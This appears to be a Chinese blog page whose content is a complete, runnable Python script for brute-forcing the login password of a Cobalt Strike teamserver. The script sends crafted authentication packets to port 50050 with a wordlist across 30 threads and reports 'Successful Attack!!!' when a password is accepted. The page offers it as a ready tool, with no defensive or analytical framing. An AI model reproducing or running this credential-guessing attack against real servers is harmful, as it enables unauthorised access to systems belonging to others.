socket c语言 密码爆破,cobalt strike爆破密码

import time,socket,ssl,argparse,concurrent.futures,sys

MIN_PYTHON = (3, 3)

if sys.version_info < MIN_PYTHON:

sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)

parser = argparse.ArgumentParser()

parser.add_argument("host",

help="Teamserver address")

parser.add_argument("wordlist", nargs="?",

help="Newline-delimited word list file")

args = parser.parse_args()

class NotConnectedException(Exception):

def __init__(self, message=None, node=None):

self.message = message

self.node = node

class DisconnectedException(Exception):

def __init__(self, message=None, node=None):

self.message = message

self.node = node

class Connector:

def __init__(self):

self.sock = None

self.ssl_sock = None

self.ctx = ssl.SSLContext()

self.ctx.verify_mode = ssl.CERT_NONE

pass

def is_connected(self):

return self.sock and self.ssl_sock

def open(self, hostname, port):

self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

self.sock.settimeout(10)

self.ssl_sock = self.ctx.wrap_socket(self.sock)

if hostname == socket.gethostname():

ipaddress = socket.gethostbyname_ex(hostname)[2][0]

self.ssl_sock.connect((ipaddress, port))

else:

self.ssl_sock.connect((hostname, port))

def close(self):

if self.sock:

self.sock.close()

self.sock = None

self.ssl_sock = None

def send(self, buffer):

if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")

self.ssl_sock.sendall(buffer)

def receive(self):

if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")

received_size = 0

data_buffer = b""

while received_size < 4:

data_in = self.ssl_sock.recv()

data_buffer = data_buffer + data_in

received_size += len(data_in)

return data_buffer

def passwordcheck(password):

if len(password) > 0:

result = None

conn = Connector()

conn.open(args.host, 50050)

payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))

conn.send(payload)

if conn.is_connected(): result = conn.receive()

if conn.is_connected(): conn.close()

if result == bytearray(b"\x00\x00\xca\xfe"): return password

else: return False

else: print("Do not have a blank password!!!")

passwords = []

if args.wordlist: passwords = open(args.wordlist).read().split("\n")

else:

for line in sys.stdin: passwords.append(line.rstrip())

if len(passwords) > 0:

attempts = 0

failures = 0

with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:

future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}

for future in concurrent.futures.as_completed(future_to_check):

password = future_to_check[future]

try:

data = future.result()

attempts = attempts + 1

if data:

print ("Successful Attack!!!")

print("Target Password: {}".format(password))

except Exception as exc:

failures = failures + 1

print('%r generated an exception: %s' % (password, exc))

else:

print("Password(s) required")

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值